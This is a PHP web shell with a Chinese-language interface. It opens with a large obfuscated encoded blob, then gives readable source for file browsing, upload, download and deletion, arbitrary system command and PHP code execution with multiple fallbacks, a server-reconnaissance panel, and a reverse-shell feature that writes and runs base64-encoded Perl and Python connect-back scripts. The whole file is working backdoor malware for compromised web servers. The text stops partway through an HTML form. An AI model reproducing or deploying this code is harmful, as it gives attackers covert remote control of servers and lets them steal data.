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˜Y83qkoTRHTxzg3y6N5gE6S3l9o92c5faa4RctWhU9fmR7bwzfTFThdDr0C9FjK4qpCPsO4MmNrq8+r5/eM8XRjZk7Tsik6prMqrn3Fn+pieiqR3m+4pVmZo2XcRO5pwybGe7gDwoj+R44eVOdmK2Cmy9jVUEAmR1Ag2zV6MPqeZZcm6PFgTtMUKRDqK5/fhTq/WXFVfP9uodCEUDhSIFzoaQ2FQaSxHmvv0ZNAK7elGFVzB4Qqn/loX95jprPOvQtasgn6KBc1T0yH90f44ccmKJ5AfbDZXKPFnsUntJLVfCZNNvVtyxiqeVOzpuL12wqwGRC0o96fOy4OaMtAoVEMRw9ud3ozxBBmGCrAVCC9sEm5oWA6ILw1eg5uBqUE7VGm/2gPx5d8MvpS/tjRPCfo2QDxDHu3fmz7Gj2QQwdEM2+AIYIaCUA4xVAweB7PFWYmyp+6f2gpv8NPVcGEHpAiEpD6MfEXzdPnXOdHze+38v8ApWuB6Th85E75g/MPNWW59XQHXzYHoNXbt8QgyB7F9ykJ02tyKExPxqbbs+3Wdc7MzJj+mfFzkaIVDb92i94hZiroYVDAAgFM0VMKpx0UGjV1Tw3Nnf59m3efaI+2UFAOBdM4NOvUHPhsB2j+9f481TOKH/veNcSP/Qkt6quauZ9VOK1UuC8z8u3eNy1W1VP8PrRev9GWVDxAX+XCZu8/1Q1WGU6a5XB2t3FtVFAR7kYfDkzqcgLM7A0YDTCcm+AKX8DEWOcItJi7h62LlFDKuFcBZGLFcLYYd6bBKNED+VpcHQcQTpV/w9RPFRAnoS5AfRsvKbiEUxOIQZzeDnw583Et1mGI9LLzm1PSmOCzoPi8CWcC/yP5KnmEE1XyLauXAv7JZlmr8wNf7yKKJ2edb4sYDETXPAvMVR4hdS6vubeqw/40wnzHuB4xlJg13B18wPUeMRqH+NozwWcN/yurPQVHJlHLIoqfcF1HeBf+Ux3NQxvFMYlAuHQ5rlcYGXTtDPK6CcmXJmZ10udbJhFOHwOu0YOJUS7BvxcX6/yyPEhuQuqIkQRMTuB/IH6o7/iGmAN446YYfzh/POf7m5HBwYo7I58zCk3D2CsXD25t4i9jkg98DaAGvTppIDHw1iIlXx1+E77VYdoxctxCyN0AeZg8/ODkkUc5XhV3Cu7mJFIcKD7V0SrY2Wh/hhMio3EK4elbHm0ver6srr7hv+nzr5znn0jmJhoaOpxceuCIG5zuDh/e6gbnm9N962LXG4oHxOwQN8Apx4dwq+IWsvhttfWJmIv+PZOWuMZoYXJS8X3iUih5O1ZbJ1ZjVYCYiTlzqvjW52Z12XUEp8vNtbp/1vNgFG5ieIWJSxjc8fsGSYgRg4KQfdS77RYIiTd/2hpgba6SJrpŽva0S4ck1RnM21LFegAtoZbu/VuRUtQTj6UGA1h/XzqkBoAay+uVZ6ONyDJbZC7Vq/U+inhzFn1VwXVSg84gCu937Ru3DmGnjY2c8pUKUNK2cVThXCfRN3VKd5nx3GPxXYXuA9CAvuTz+s6OFq4XDcRHx/4F0xkIdRpkYqxzVuX0D+1ruMnUFL9SwQvmNNhEO43u1cBdUzXÖI05UzoKJSUauA4JXI8MkeuuW5Cos+7C2Bvh183yjzD9jxB8Vc146j6PGBtj4zemUu3zm+3f10KZSpG5yspRYnNxr73aHhfXjcBHRbpCmaUJ1VntTfn1Dtu71n7+IfgfSkUWFza3BnSw1OmM4kypJtC7+TaphuXEAFBZ4NQrDzptyI4l/qaIL/jo6QlfXtTqbW4e1dEmMt9UpTp81x5IVY9r2AKhfYAXRdbnzax72nTGvrgwmNcTQDr3U61mgI2Bbt12bXPEHWjrR6dWQyce3x3PpHfwjZ3qdj/WI9gmzU16B+nSwYAvh6nTiWHu6a28IUE6tiod0j9ntRqwpZBu+1xfTied9i1SI3k47RfvVQiApjnMkUnHYxnpGkULyrcO9vKP+X7CtujGBkjjDSYsKJcAxrbMQi4mvXNNYUv4Bg4+0FKNb9I5VioDmkg/VGr5RMs18gdBbL5ZJmEVTkLÂmpIre1QbbjADpmpZW0eFR/IRv4sFhKWCzDmUWFrwqFXQbmUUt/wjs5/P2qOZxjm/SZqlSCbbOPu6RT6B11kn8oVQplJmUeivduDs9z8oWrixKdi0y/D02HbRuKnPxkdquFf3WZXGsbK6Hb6bJEeCD2JEpF3yfMFUp7ZBcHhht6MCdkc5g7mkeUCpjqwL2QnyPD+pm96DSU623Pr/N+SfKUnu1DY95gI8x0rJK6a9q5WH/uN+zoejG3sQPUp/XWu+0SxkNABDbGXv6xOhg4bGk3N2kkA61UwREuoJWsVPpv9VNxadq+A04W+l36zy519V/X1t678taD7TSL7DeifAJvQsfGb3QxOj0LihB15uPTZRWy4mZ66HbWOmDmS4dukez02Xh1996WANUxcwoGZh24VnRYsAa1/kDddugL+vnAaZj7p6NOlRxM13dPYBuvLaFhU9MLXt0OkB3tmEd6yGj61uhsYR2w6Z01LkvDGk3M9O9PUEVRzfK0HE+uq/b1xaNcRBfOzOYv0OjW336D308M6v1Af2x8ZahdIOpJjo6oBiW6kO8o0cfpQvoGnS0QqgPLZdPh2lLn4UG/9¿si2gWF79gaqs9sLhvQuZRd+07hM91uDEVSY2TO77/PlumbDtuXUUX18zrsvzW+3YBupHrpN6hGJXOs/zLXSYU/D65RMecD6TSokSvuF/tiyWlpcC3M3FkP8AgMRE3zm6Lfh+oTx9p0c1Cjw6Bp8jDXF1ZtdGTQcQSipvwF1ynRA/x0b6rPyptQT+4Dr3Vnc62lsHxHuLJ3qgvhEGO6opdoeagHprzCFTHwO922JVP6dTbFJIXJ83KNcO01ZcuA8LUP1ys5/Ft3b0o1B/C1J07A1l3dM5bsFUpWOx8b0Q7y35rO7Np9LkwJqz5V6nTqvLtUl9O8LT4Qw8BG88zaiA9U7UdD4vnHmw1fA0bHXD5U6LKHDeyNliOu33zVfQTF3vOYHJZYtucowU1Xqvw/rXNkzWY2xuyR68KUMJl85O85vIZ2dvaTzn3o+p9IHXZ6sTx7rzOz7AynMZZ1CFe0k2OwDreXtaUWFa7hdChLJgHxUakDx5ZhEaUu8dqR/laG6uMmUsfoPSCUECt0vqbh9pyrUARbS5dZzLrVBgxT19KlsCK6S/bDBXVNeBpgIp699ugyMH66PSpG¾UNY3FXEsFg+xCtd+1Ci0g4034ub+oVCRXjbTz4dMaclwyl3f2boir70Mu8lHBdHZ37C/mh7LfaHYqqurONwggWn2AZ26gZetcrLXToYs3Z+9JxjqSOcfpvdp0J+Vc2A03SH3qmuwbZArPdSvLOur4FQ/eTDkdSofsWZI35njmzxzNO3yGwv3rsGqZf/Xr9/j014HiZxNp/J/lPhQlGGUDIU+QM2ioMwHXYN75hvoXZc7FQ1qiRaKA81u2/+mmPmNStQ2N/3sOd4KL7NdiL7TIvh3X/’cquap3edIxA2p6/NGRTRREqn1XV8r4bFaBxKq+R+xumdtwaPpl2xEzOkLMKr5UixNi©lwFHThH+Q9/sm2k8TuXJYfutjPam+rZPgFqUA9uVDEh2oZJo4ccMd7b0B2x+V¼/nfh/uFcUy2gxoUprODpVR1t0oROCHdV4rQevx0j8+ogJZ094/tKfvXKL66/aCaZbpQVHk+hn8zXzV/fRgXaJOiNZvNRk+mdYj14DXFqB„pGwskt4xjkFT5L0PtrPp4HG8r9gl4NPb0p0zKLukTtw+AibsGiwiPshRdZxpjyvoBKYe6wLkc68Q5dM9+B6tKNwZNlDXpWZbtusKe/ve2iaYwhsh77r648Panl+HyhiDL9XX8AvKAw+ILmTrWnZRkzrzipvI6YhUIZXIdK8t7AMnX7BCV0ccQLL1c1+qIC6W6eeQ//9Je//OWf/x8+PuEb')));return;?>aca5fbece665b87b7b1e65be3c0a4f2b

明文字符

<?php
error_reporting(E_ERROR);
@ini_set('display_errors', 'Off');
@ini_set('max_execution_time', 20000);
@ini_set('memory_limit', '256M');
header("content-Type: text/html; charset=gb2312");
function strdir($str)
{
return str_replace(array('\\', '//', '%27', '%22'), array('/', '/', '\'', '"'), chop($str));
}
function chkgpc($array)
{
foreach ($array as $key => $var) {
$array[$key] = is_array($var) ? chkgpc($var) : stripslashes($var);
}
return $array;
}
$myfile = $_SERVER['SCRIPT_FILENAME'] ? strdir($_SERVER['SCRIPT_FILENAME']) : strdir(__FILE__);
$myfile = strpos($myfile, 'eval()') ? array_shift(explode('(', $myfile)) : $myfile;
define('THISDIR', strdir(dirname($myfile) . '/'));
define('ROOTDIR', strdir(strtr($myfile, array(strdir($_SERVER['PHP_SELF']) => '')) . '/'));
define('EXISTS_PHPINFO', getinfo() ? true : false);
if (get_magic_quotes_gpc()) {
$_POST = chkgpc($_POST);
}
$win = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
$msg = "信息回显";
function filew($filename, $filedata, $filemode)
{
if (!is_writable($filename) && file_exists($filename)) {
chmod($filename, 0666);
}
$handle = fopen($filename, $filemode);
$key = fputs($handle, $filedata);
fclose($handle);
return $key;
}
function filer($filename)
{
$handle = fopen($filename, 'r');
$filedata = fread($handle, filesize($filename));
fclose($handle);
return $filedata;
}
function fileu($filenamea, $filenameb)
{
$key = move_uploaded_file($filenamea, $filenameb) ? true : false;
if (!$key) {
$key = copy($filenamea, $filenameb) ? true : false;
}
return $key;
}
function filed($filename)
{
if (!file_exists($filename)) {
return false;
}
ob_end_clean();
$name = basename($filename);
$array = explode('.', $name);
header('Content-type: application/x-' . array_pop($array));
header('Content-Disposition: attachment; filename=' . $name);
header('Content-Length: ' . filesize($filename));
@readfile($filename);
exit;
}
function showdir($dir)
{
$dir = strdir($dir . '/');
if (($handle = @opendir($dir)) == NULL) {
return false;
}
$array = array();
while (false !== ($name = readdir($handle))) {
if ($name == '.' || $name == '..') {
continue;
}
$path = $dir . $name;
$name = strtr($name, array('\'' => '%27', '"' => '%22'));
if (is_dir($path)) {
$array['dir'][$path] = $name;
} else {
$array['file'][$path] = $name;
}
}
closedir($handle);
return $array;
}
function deltree($dir)
{
$handle = @opendir($dir);
while (false !== ($name = @readdir($handle))) {
if ($name == '.' || $name == '..') {
continue;
}
$path = $dir . $name;
@chmod($path, 0777);
if (is_dir($path)) {
deltree($path . '/');
} else {
@unlink($path);
}
}
@closedir($handle);
return @rmdir($dir);
}
function size($bytes)
{
if ($bytes < 1024) {
return $bytes . ' B';
}
$array = array('B', 'K', 'M', 'G', 'T');
$floor = floor(log($bytes) / log(1024));
return sprintf('%.2f ' . $array[$floor], $bytes / pow(1024, floor($floor)));
}
function find($array, $string)
{
foreach ($array as $key) {
if (stristr($string, $key)) {
return true;
}
}
return false;
}
function scanfile($dir, $key, $inc, $fit, $tye, $chr, $ran, $now)
{
if (($handle = @opendir($dir)) == NULL) {
return false;
}
while (false !== ($name = readdir($handle))) {
if ($name == '.' || $name == '..') {
continue;
}
$path = $dir . $name;
if (is_dir($path)) {
if ($fit && in_array($name, $fit)) {
continue;
}
if ($ran == 0 && is_readable($path)) {
scanfile($path . '/', $key, $inc, $fit, $tye, $chr, $ran, $now);
}
} else {
if ($inc && !find($inc, $name)) {
continue;
}
$code = $tye ? filer($path) : $name;
$find = $chr ? stristr($code, $key) : (strpos(size(filesize($path)), 'M') ? false : strpos($code, $key) > -1);
if ($find) {
$file = strtr($path, array($now => '', '\'' => '%27', '"' => '%22'));
echo '<a href="javascript:go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>';
flush();
ob_flush();
}
unset($code);
}
}
closedir($handle);
return true;
}
function antivirus($dir, $exs, $matches, $now)
{
if (($handle = @opendir($dir)) == NULL) {
return false;
}
while (false !== ($name = readdir($handle))) {
if ($name == '.' || $name == '..') {
continue;
}
$path = $dir . $name;
if (is_dir($path)) {
if (is_readable($path)) {
antivirus($path . '/', $exs, $matches, $now);
}
} else {
$iskill = NULL;
foreach ($exs as $key => $ex) {
if (find(explode('|', $ex), $name)) {
$iskill = $key;
break;
}
}
if (strpos(size(filesize($path)), 'M')) {
continue;
}
if ($iskill) {
$code = filer($path);
foreach ($matches[$iskill] as $matche) {
$array = array();
preg_match($matche, $code, $array);
if (strpos($array[0], '$this->') || strpos($array[0], '[$vars[')) {
continue;
}
$len = strlen($array[0]);
if ($len > 6 && $len < 200) {
$file = strtr($path, array($now => '', '\'' => '%27', '"' => '%22'));
echo '特征 <input type="text" value="' . htmlspecialchars($array[0]) . '"> <a href="javascript:go(\'editor\',\'' . $file . '\');">编辑</a> ' . $path . '<br>';
flush();
ob_flush();
break;
}
}
unset($code, $array);
}
}
}
closedir($handle);
return true;
}
function command($cmd, $cwd, $com = false)
{
$iswin = substr(PHP_OS, 0, 3) == 'WIN' ? true : false;
$res = $msg = '';
if ($cwd == 'com' || $com) {
if ($iswin && class_exists('COM')) {
$wscript = new COM('Wscript.Shell');
$exec = $wscript->exec('c:\\windows\\system32\\cmd.exe /c ' . $cmd);
$stdout = $exec->StdOut();
$res = $stdout->ReadAll();
$msg = 'Wscript.Shell';
}
} else {
chdir($cwd);
$cwd = getcwd();
if (function_exists('exec')) {
@exec($cmd, $res);
$res = join("\n", $res);
$msg = 'exec';
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cmd);
$msg = 'shell_exec';
} elseif (function_exists('system')) {
ob_start();
@system($cmd);
$res = ob_get_contents();
ob_end_clean();
$msg = 'system';
} elseif (function_exists('passthru')) {
ob_start();
@passthru($cmd);
$res = ob_get_contents();
ob_end_clean();
$msg = 'passthru';
} elseif (function_exists('popen')) {
$fp = @popen($cmd, 'r');
if ($fp) {
while (!feof($fp)) {
$res .= fread($fp, 1024);
}
}
@pclose($fp);
$msg = 'popen';
} elseif (function_exists('proc_open')) {
$env = $iswin ? array('path' => 'c:\\windows\\system32') : array('path' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
$des = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = @proc_open($cmd, $des, $pipes, $cwd, $env);
if (is_resource($process)) {
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$res .= stream_get_contents($pipes[1]);
fclose($pipes[1]);
$res .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
}
@proc_close($process);
$msg = 'proc_open';
}
}
$msg = $res == '' ? '<h1>NULL</h1>' : '<h2>利用' . $msg . '执行成功</h2>';
return array('res' => $res, 'msg' => $msg);
}
function backshell($ip, $port, $dir, $type)
{
$key = false;
$c_bin = '';
switch ($type) {
case "pl":
$shell = 'IyEvdXNyL2Jpbi9wZXJsIC13DQojIA0KdXNlIHN0cmljdDsNCnVzZSBTb2NrZXQ7DQp1c2UgSU86OkhhbmRsZTsNCm15ICRzcGlkZXJfaXAgPSAkQVJHVlswXTsNCm15ICRzcGlkZXJfcG9ydCA9ICRBUkdWWzFdOw0KbXkgJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoInRjcCIpOw0KbXkgJHBhY2tfYWRkciA9IHNvY2thZGRyX2luKCRzcGlkZXJfcG9ydCwgaW5ldF9hdG9uKCRzcGlkZXJfaXApKTsNCm15ICRzaGVsbCA9ICcvYmluL3NoIC1pJzsNCnNvY2tldChTT0NLLCBBRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsNClNURE9VVC0+YXV0b2ZsdXNoKDEpOw0KU09DSy0+YXV0b2ZsdXNoKDEpOw0KY29ubmVjdChTT0NLLCRwYWNrX2FkZHIpIG9yIGRpZSAiY2FuIG5vdCBjb25uZWN0OiQhIjsNCm9wZW4gU1RESU4sICI8JlNPQ0siOw0Kb3BlbiBTVERPVVQsICI+JlNPQ0siOw0Kb3BlbiBTVERFUlIsICI+JlNPQ0siOw0Kc3lzdGVtKCRzaGVsbCk7DQpjbG9zZSBTT0NLOw0KZXhpdCAwOw0K';
$file = strdir($dir . '/t00ls.pl');
$key = filew($file, base64_decode($shell), 'w');
if ($key) {
@chmod($file, 0777);
command('/usr/bin/perl ' . $file . ' ' . $ip . ' ' . $port, $dir);
}
break;
case "py":
$shell = 'IyEvdXNyL2Jpbi9weXRob24NCiMgDQppbXBvcnQgc3lzLG9zLHNvY2tldCxwdHkNCnMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pDQpzLmNvbm5lY3QoKHN5cy5hcmd2WzFdLCBpbnQoc3lzLmFyZ3ZbMl0pKSkNCm9zLmR1cDIocy5maWxlbm8oKSwgc3lzLnN0ZGluLmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3Rkb3V0LmZpbGVubygpKQ0Kb3MuZHVwMihzLmZpbGVubygpLCBzeXMuc3RkZXJyLmZpbGVubygpKQ0KcHR5LnNwYXduKCcvYmluL3NoJykNCg==';
$file = strdir($dir . '/t00ls.py');
$key = filew($file, base64_decode($shell), 'w');
if ($key) {
@chmod($file, 0777);
command('/usr/bin/python ' . $file . ' ' . $ip . ' ' . $port, $dir);
}
break;
case "pcntl":
$file = strdir($dir . '/t00ls');
$key = filew($file, base64_decode($c_bin), 'wb');
if ($key) {
@chmod($file, 0777);
if (function_exists('pcntl_exec')) {
@pcntl_exec($file, array($ip, $port));
}
}
break;
}
if (!$key) {
$msg = '<h1>临时目录不可写</h1>';
} else {
@unlink($file);
$msg = '<h2>CLOSE</h2>';
}
return $msg;
}
function getinfo()
{
return function_exists('phpinfo');
}
if (isset($_POST['action'])) {
if ($_POST['action'] == 'down') {
$downfile = $fileb = strdir($_POST["rsv_bp"] . '/' . $_POST["wd"]);
if (!filed($downfile)) {
$msg = '<h1>下载文贱不存在</h1>';
}
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<style type="text/css">
* {margin:0px;padding:0px;}
body {background:#000000;color:#333333;font-size:13px;font-family:Verdana,Arial,SimSun,sans-serif;text-align:left;word-wrap:break-word; word-break:break-all;}
a{color:#000000;text-decoration:none;vertical-align:middle;}
a:hover{color:#FF0000;text-decoration:underline;}
p {padding:1px;line-height:1.6em;}
h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;}
h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}
form {display:inline;}
input,select { vertical-align:middle; }
input[type=text], textarea {padding:1px;font-family:Courier New,Verdana,sans-serif;}
input[type=submit], input[type=button] {height:21px;}
.tag {text-align:center;background:threedface;height:25px;padding-top:5px;}
.tag a {background:#FAFAFA;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;}
.tag a:hover, .tag a.current {background:#CCC333;color:#000000;text-decoration:none;}
.main {width:963px;margin:0 auto;padding:10px;}
.outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;}
.toptag {padding:5px;text-align:left;font-weight:bold;color:#FFFFFF;background:#293F5F;}
.footag {padding:5px;text-align:center;font-weight:bold;color:#000000;background:#999999;}
.msgbox {padding:5px;background:#CCC333;text-align:center;vertical-align:middle;}
.actall {background:#F9F6F4;text-align:center;font-size:15px;border-bottom:1px solid #999999;padding:3px;vertical-align:middle;}
.tables {width:100%;}
.tables th {background:threedface;text-align:left;border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;}
.tables td {background:#F9F6F4;height:19px;padding-left:2px;}
</style>
<script type="text/javascript">
function $(ID) { return document.getElementById(ID); }
function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }
function cd(dir) { dir = sd(dir); $('rsv_t').value = dir; $('frm').submit(); }
function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 'chkall') { e.checked = form.chkall.checked; } } } }
function go(a,b) { b = sd(b); $('action').value = a; $("wd").value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); }
function nf(a,b) { re = prompt("新建名",b); if(re) { $('action').value = a; $("wd").value = re; $('gofrm').submit(); } }
function dels(a) { if(a == 'b') { var msg = "所选文贱"; $('act').value = a; } else { var msg = "目录"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("确定要删"+msg+"吗")) { $('frm1').submit(); } }
function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }
function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }
</script>
<title><?php
echo VERSION . ' - 【' . date('Y-m-d H:i:s 星期N', time()) . '】';
?></title>
</head>
<body>
<div class="main">
<div class="outl">
<div class="toptag"><?php
echo ($_SERVER['SERVER_ADDR'] ? $_SERVER['SERVER_ADDR'] : gethostbyname($_SERVER['SERVER_NAME'])) . ' - ' . php_uname() . '';
?></div>
<?php
$menu = array('file' => '文贱管理', '1' => '反谈端口', '2' => '执行密令', '3' => '执行PHP', '4' => '系统信息');
$go = array_key_exists($_POST['action'], $menu) ? $_POST['action'] : 'file';
$nowdir = isset($_POST['rsv_t']) ? strdir(chop($_POST['rsv_t']) . '/') : THISDIR;
echo '<div class="tag">';
foreach ($menu as $key => $name) {
echo '<a' . ($go == $key ? ' class="current"' : '') . ' href="javascript:go(\'' . $key . '\',\'' . $nowdir . '\');">' . $name . '</a> ';
}
echo '</div>';
echo '<form name="gofrm" id="gofrm" method="POST">';
echo '<input type="hidden" name="action" id="action" value="">';
echo '<input type="hidden" name="rsv_bp" id="rsv_bp" value="' . $nowdir . '">';
echo '<input type="hidden" name="wd" id="wd" value="">';
echo '</form>';
switch ($_POST['action']) {
case "4":
if (EXISTS_PHPINFO) {
ob_start();
phpinfo(INFO_GENERAL);
$out = ob_get_contents();
ob_end_clean();
$tmp = array();
preg_match_all('/\<td class\=\"e\"\>.*?(Command|Configuration)+.*?\<\/td\>\<td class\=\"v\"\>(.*?)\<\/td\>/i', $out, $tmp);
$config = $tmp[2][0];
$phpini = $tmp[2][2] ? $tmp[2][1] . ' --- ' . $tmp[2][2] : $tmp[2][1];
}
$infos = array('限制目录' => ini_get('open_basedir'), '系统版本' => php_uname(), '系统环境' => $_SERVER['SERVER_SOFTWARE'], '被禁用的函数' => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : '(无)', '被禁用的类' => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : '(无)', 'PHP.ini配置路径' => $phpini ? $phpini : '(无)', 'PHP运行方式' => php_sapi_name(), 'PHP版本' => PHP_VERSION, 'PHP进程PID' => getmypid(), 'Web服务端口' => $_SERVER['SERVER_PORT'], 'Web根目录' => $_SERVER['DOCUMENT_ROOT'], 'Web执行脚本' => $_SERVER['SCRIPT_FILENAME'], 'Web规范CGI版本' => $_SERVER['GATEWAY_INTERFACE'], 'Web管理员Email' => $_SERVER['SERVER_ADMIN'] ? $_SERVER['SERVER_ADMIN'] : '(无)', '当前磁盘总大小' => size(disk_total_space('.')), '当前磁盘可用空间' => size(disk_free_space('.')), '是否支持Pcntl' => function_exists('pcntl_exec') ? '是' : '否', '是否运行于安全模式' => get_cfg_var("safemode") ? '是' : '否', '是否允许动态加载链接库' => get_cfg_var("enable_dl") ? '是' : '否', '是否显示错误信息' => get_cfg_var("display_errors") ? '是' : '否', '是否自动注册全局变量' => get_cfg_var("register_globals") ? '是' : '否', '是否使用反斜线引用字符串' => get_cfg_var("magic_quotes_gpc") ? '是' : '否', 'PHP编译参数' => $config ? $config : '(无)');
echo '<div class="msgbox">' . $msg . '</div>';
echo '<table class="tables"><tr><th style="width:26%;">名称</th><th>参数</th></tr>';
foreach ($infos as $name => $var) {
echo '<tr><td>' . $name . '</td><td>' . $var . '</td></tr>';
}
echo '</table>';
break;
case "2":
$cmd = $win ? 'dir' : 'ls -al';
$res = array('res' => '命令回显', 'msg' => $msg);
$str = isset($_POST['str']) ? $_POST['str'] : 'fun';
if (isset($_POST['rsv_pq'])) {
$cmd = $_POST['rsv_pq'];
$cwd = $str == 'fun' ? THISDIR : 'com';
$res = command($cmd, $cwd);
}
echo '<div class="msgbox">' . $res['msg'] . '</div>';
echo '<form method="POST">';
echo '<input type="hidden" name="action" id="action" value="2">';
echo '<div class="actall">命令 <input type="text" name="rsv_pq" id="rsv_pq" value="' . htmlspecialchars($cmd) . '" style="width:398px;"> ';
echo '<select name="str">';
$selects = array('fun' => 'phpfun', 'com' => 'wscript');
foreach ($selects as $var => $name) {
echo '<option value="' . $var . '"' . ($var == $str ? ' selected' : '') . '>' . $name . '</option>';
}
echo '</select> ';
echo '<input type="submit" style="width:50px;" value="执行">';
echo '</div><div class="actall"><textarea style="width:698px;height:368px;">' . htmlspecialchars($res['res']) . '</textarea></div></form>';
break;
case "3":
if (isset($_POST['phpcode'])) {
$phpcode = chop($_POST['phpcode']);
ob_start();
if (substr($phpcode, 0, 2) == '<?' && substr($phpcode, -2) == '?>') {
@eval('?>' . $phpcode . '<?php ');
} else {
@eval($phpcode);
}
$out = ob_get_contents();
ob_end_clean();
} else {
$phpcode = 'phpinfo();';
$out = '回显窗口';
}
echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIHJ1bmNvZGUob2JqbmFtZSkge3ZhciB3aW5uYW1lID0gd2luZG93Lm9wZW4oJycsIl9ibGFuayIsJycpO3ZhciBvYmogPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmpuYW1lKTt3aW5uYW1lLmRvY3VtZW50Lm9wZW4oJ3RleHQvaHRtbCcsJ3JlcGxhY2UnKTt3aW5uYW1lLm9wZW5lciA9IG51bGw7d2lubmFtZS5kb2N1bWVudC53cml0ZShvYmoudmFsdWUpO3dpbm5hbWUuZG9jdW1lbnQuY2xvc2UoKTt9PC9zY3JpcHQ+');
echo '<div class="msgbox">' . $msg . '</div>';
echo '<form method="POST">';
